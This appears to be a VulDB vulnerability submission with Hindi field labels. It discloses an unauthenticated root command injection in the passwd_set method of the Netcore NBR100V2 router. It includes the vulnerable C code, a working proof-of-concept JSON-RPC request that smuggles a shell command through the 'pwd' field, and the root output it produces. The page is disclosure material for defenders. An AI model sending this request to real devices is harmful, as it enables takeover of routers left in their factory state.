| शीर्षक | Netcore磊科 Router Firmware NBR100V2_V1.3.240614.030928 Command Injection |
|---|
| विवरण | An unauthenticated command injection vulnerability (CWE-78), combined with missing authentication for a critical function (CWE-306), was identified in the Netcore NBR100V2 router, firmware version V1.3.240614.030928 (LEDE 17.01-SNAPSHOT, mipsel / MT7621).
The web management interface is served by uhttpd on ports 80/443/23355 and exposes a ubus JSON-RPC endpoint at /ubus. The back-end service /usr/bin/routerd (running as root) registers the ubus object "routerd". Its method "passwd_set" accepts a user-controlled "pwd" string parameter and embeds it without any validation or quoting into a shell command passed to system():
snprintf(buf, size, "uci set auto_ac.auto_ac.passwd=%s;uci commit auto_ac", pwd);
system(buf);
The "user" field is validated (must be an existing account such as root), but the "pwd" field is not. A "pwd" value such as "P;id>/www/rce.txt" therefore injects an arbitrary OS command, which executes with root privileges.
Exploitation requires NO credentials while the device is in its factory-default / unconfigured state (system.@system[0].initialized=0): rpcd then loads the permissive /usr/share/rpcd/acl.d/unauthenticated.json ACL, which permits an anonymous ubus session ("00000000000000000000000000000000") to call routerd.passwd_set. After the user completes the first configuration, routerd.param_status_set atomically swaps in the restricted unauthenticated.json.initialized and the method is no longer reachable unauthenticated (returns Access denied). The ACL transition is one-way.
Proof of concept (no credentials):
POST /ubus HTTP/1.1
Content-Type: application/json
{"jsonrpc":"2.0","id":1,"method":"call","params":["00000000000000000000000000000000","routerd","passwd_set",{"user":"root","pwd":"P;id>/www/rce.txt","by":"web"}]}
Response: {"jsonrpc":"2.0","id":1,"result":[0]}
Then GET /rce.txt returns: uid=0(root) gid=0(root) groups=0(root)
Notes: the injection must go through the "pwd" field (not "user"); the method-arguments object must not contain ubus_rpc_session (uhttpd_ubus.so rejects it with Invalid parameters).
The vulnerability was dynamically verified against the firmware emulated with qemu-mipsel; arbitrary commands executed with root privileges. Full details and a Python EXP are available at <GITHUB_ADVISORY_URL>. |
|---|
| स्रोत | ⚠️ https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/netcore_NBR100V2_V1.3.240614.030928%20Router/netcore_nbr100v2_passwd_set_rce.md |
|---|
| उपयोगकर्ता | llsss (UID 96233) |
|---|
| सबमिशन | 10/08/2026 08:24 AM (2 महीनों पहले) |
|---|
| संयम | 27/09/2026 12:21 PM (2 months later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 310234 [Netcore NBR200V2 तक 20250508 HTTP Header /usr/bin/routerd passwd_set pwd अधिकार वृद्धि] |
|---|
| अंक | 0 |
|---|